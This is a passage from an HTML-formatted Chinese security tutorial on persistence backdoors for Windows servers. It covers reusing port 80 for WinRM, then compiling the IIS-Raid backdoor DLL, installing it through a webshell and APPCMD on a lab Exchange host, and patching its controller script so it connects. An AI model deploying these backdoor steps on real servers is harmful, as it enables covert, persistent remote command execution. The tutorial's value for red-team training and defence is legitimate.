rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.425296442687747" title="null" data-type="png" data-w="1265" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a4aa1b75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOFXiaw8JyhUncMFQGd1rEI9p9b524gBu3icLNTqzJrsd696Dic4ibribTKxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">基于http.sys的端口共享的特性只需要将WinRM的端口修改为80端口，即可做到端口复用。</p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">修改WinRM服务的端口为80 </span><code style="white-space:pre-wrap;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port=&#34;80&#34;}</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3453689167974882" title="null" data-type="png" data-w="637" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4144776b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOE9cZkBxibggicB8oq96H7YupOPzauEmcnJdApnbRJ4uNNiaxRMG9KOs8g%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">通过再次查看网址前缀，发现已经修改为80/WSMAN</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6069182389937107" title="null" data-type="png" data-w="636" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b2389b48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOtbZ2a2FLMOrRV1sllv5kYShmxAhPicT2D23dgkk0kciaqbYWdxauQ0cw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时通过在浏览器中访问80端口，即可访问到IIS页面，而通过winRM的客户端，即可通过80端口使用wirm执行远程Windows系统命令。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.20046082949308755" title="null" data-type="png" data-w="3038" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4233744e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO6y7jMibzrVsg6fvIAibYHHTG5wDyYonjmZiceo2hAxtWsJQwicJ9UlGhqA%2F640%3Fwx_fmt%3Dpng"/></figure><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.96px;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">0x02 IIS模块后门：IIS-Raid</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">根据《IIS请求流程和渗透测试中的应用》中讲解，在IIS处理web请求的时候，先通过http.sys处理之后，再到后面的svchost和w3wp进行处理。那么根据处理流程， 在http.sys处理完后交给iis模块处理，主要由c++实现，可hook所有到达iis的请求。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">2.1 构建</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">项目地址：</span><span style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: left;line-height: 1.75;color: rgb(87, 107, 149);"><a href="https://github.com/0x09AL/IIS-Raid" target="_blank">https://github.com/0x09AL/IIS-Raid</a></span><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;"></span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.25660377358490566" title="null" data-type="png" data-w="1060" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bc01fb11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOFUmbdZj0Ddh6HrBT64xnJ0VLHY4fRdOplkJrJrzHL2kr1TzS6wUJyA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">一、自定义密码</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在Function.h中的PASSWORD字段，默认密码为SIMPLEPASS</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4126984126984127" title="null" data-type="png" data-w="756" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2c560ee3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO1Z19RaAzqM9khImhVeZo2oAbzjQSLNEUk3b6MPesU9KXCc46pkUpUw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">防止自己布置的后门被其他人利用，尝试修改成自己的密码。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">二、DLL编译</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">Visual Studio 2017 打开之后 文件-打开-项目/解决方案，选择 IISRaid-modules-IIS-Backdoor.vcxproj</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6123234916559692" title="null" data-type="png" data-w="779" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c84de929&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOXIUDp8LxO5icR87O6Odia03MbgNNHsw1qne15ov8bLYdEDjC2WS92xYw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">注意：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.13992869875222816" title="null" data-type="png" data-w="1122" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=96c65faa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOYxlOqdEuJvyQvg2AkMJ700fWYIoe0EybKSCROgMhSeQ2svSia7iago1Q%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">选中项目出现以下问题的时候，需要选择 项目-属性，修改 平台工具集选择Visual Studio 2017 (v141)，应用-确定。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6674285714285715" title="null" data-type="png" data-w="875" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd5036c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOPvkJdCmnwrsFSneZ0pDSljoJicFfDTicCmOdC9sssv5C9UuKQHaZI20w%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">修改完成之后即可完成编译。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.1327088212334114" title="null" data-type="png" data-w="1281" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d249dc75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOtyakztA2EgKQWejRoVAHgwmbbBvXFygrgQppDbNcIHH2nsFUZa7w9g%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在x64-Relese下找到该编译成功的dll后门。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4732620320855615" title="null" data-type="png" data-w="748" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fefc30bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOxTR3n24YwRagqiaDewxMPY7IrWPRbg7ficNglN8jouRdV0OMrp9whHKg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">成功编译。</span></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">2.2 DLL部署(能命令执行的情况)</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在192.168.91.20的exchange上留一个蚁剑的shell</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.18370607028753994" title="null" data-type="png" data-w="626" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3f544767&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOb6JAeMhlrbuOfXs82TORXWFbaTvRY7YSPNTFiaXZJibDspLCIEIGAmQQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">连接的时候注意勾选忽略https证书。上传编译好的dll文件。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6852589641434262" title="null" data-type="png" data-w="753" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d493ae46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOXOaa242L9cwTkvibHXA1FYTe8hqN0TjUclSDGFfJLGEVDUCI6KiajJ0w%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">shell执行</span></p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module  /image:&#34;c:\IIS-Backdoor.dll&#34; /add:true</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.08459869848156182" title="null" data-type="png" data-w="922" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=701459ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOBicwnI8yrwHNaaMLOicaBNkdgdvHSWBI5n1lUbzVO8ovwSJdnZJ9XSVA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时，即完成dll部署。</span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">尝试客户端连接服务端。</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">python3 iis_controller.py --url htts://192.168.91.20 --password SIMPLEPASS</code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4865424430641822" title="null" data-type="png" data-w="966" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cdec0343&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOfD8d56OAbj4mFluLrdjWGiab8eo6fbN58uIYZXvmqRZFfUOFzWZ9AeQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时脚本执行报错。原因是原始的项目脚本中没有针对证书做验证，简单修改一下代码，忽略证书认证。</span></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">解决方案一</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在50和52行的GET和POST请求后加上verify=False以忽略https证书。如下图：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.09227683049147442" title="null" data-type="png" data-w="997" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=dfdd5dc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DO4SjgC1oel5YVjCRdwPT54973AQ23cOAZVtCtAqYQF7zlyI4UWibFzvQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时再去执行脚本。成功执行。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4520123839009288" title="null" data-type="png" data-w="969" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=247ba5f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DONf892JDDNEGyZYgOdiceG0HHiaTwma40KK7Sn52ovBSEribPJv8ib7HEQA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">解决方案二</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">因为这个请求在http.sys这一步被hook，就是iis是正常的话，无所谓证书与否。命令改为</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">python3 iis_controller.py --url <a href="http://192.168.91.20 --password SIMPLEPASS" target="_blank">http://192.168.91.20 --password SIMPLEPASS</a></code></pre><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.23229166666666667" title="null" data-type="png" data-w="960" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2a13f17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOYVEYShepNY7QhcwFAvlvsC7LDibe6QLvotxA68rTAXBMReicnnBdmdvA%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.19294377067254687" title="null" data-type="png" data-w="907" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e83f5567&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOLcUER8pRctzKTXQCqMiaicVjcA6AHgP3AS7XSPfGEYX2ibhNYApH2uibYQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">代码判断状态码不为200就退出，判断逻辑存在问题，403是应用程序给的响应，但是iis后门只需要iis能正常运行即可使用，所以删掉这段判断逻辑。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.23076923076923078" title="null" data-type="png" data-w="806" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a359117a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOZadc18CDKCBQf456BdRqIwjZjS9uWhxUHwdFZM0rGXH6Dj9sZeuXgw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">修改完连接成功并执行命令成功。</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica 